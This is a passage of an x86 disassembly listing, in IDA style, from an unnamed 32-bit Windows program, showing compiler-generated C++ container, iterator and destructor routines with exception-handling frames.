		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C7F


loc_414C34:				; CODE XREF: ___:00414C7Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C5C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C5C:				; CODE XREF: ___:00414C4Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C34


loc_414C7F:				; CODE XREF: ___:00414C32j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CC7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414CA2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414CA2:				; CODE XREF: ___:00414C99j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: ___:00414BEEj
					; ___:00414C85j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D40	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D58:				; CODE XREF: ___:00414D4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D70	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E10	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414F0B
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F40
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC6E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415040
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414F0B:				; CODE XREF: sub_414E10+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415040
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC6E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415040
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415040:				; CODE XREF: sub_414E10+82j
					; sub_414E10+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E10	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415100	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_415100	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415140	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151C0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415230	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415230	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4152A0	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_4152A0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41536D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41531F:				; CODE XREF: sub_4152E0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415351
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41535A
; ---------------------------------------------------------------------------


loc_415351:				; CODE XREF: sub_4152E0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41535A:				; CODE XREF: sub_4152E0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41531F
		pop	edi


loc_41536D:				; CODE XREF: sub_4152E0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153B0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415450	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415450	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415490	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415490	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415500	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415500	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415570	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415570	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41568D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41563F:				; CODE XREF: sub_415600+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415671
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41567A
; ---------------------------------------------------------------------------


loc_415671:				; CODE XREF: sub_415600+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41567A:				; CODE XREF: sub_415600+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41563F
		pop	edi


loc_41568D:				; CODE XREF: sub_415600+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415600	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156D0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156F0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415710	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415710	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415740	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415740	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415770	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415770	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157B0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415820	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415860	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415860	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415890	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415890	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158D0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415920	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_4159AD
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41595F:				; CODE XREF: sub_415920+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415991
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41599A
; ---------------------------------------------------------------------------


loc_415991:				; CODE XREF: sub_415920+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41599A:				; CODE XREF: sub_415920+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41595F
		pop	edi


loc_4159AD:				; CODE XREF: sub_415920+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415920	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159F0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A10	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A30	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
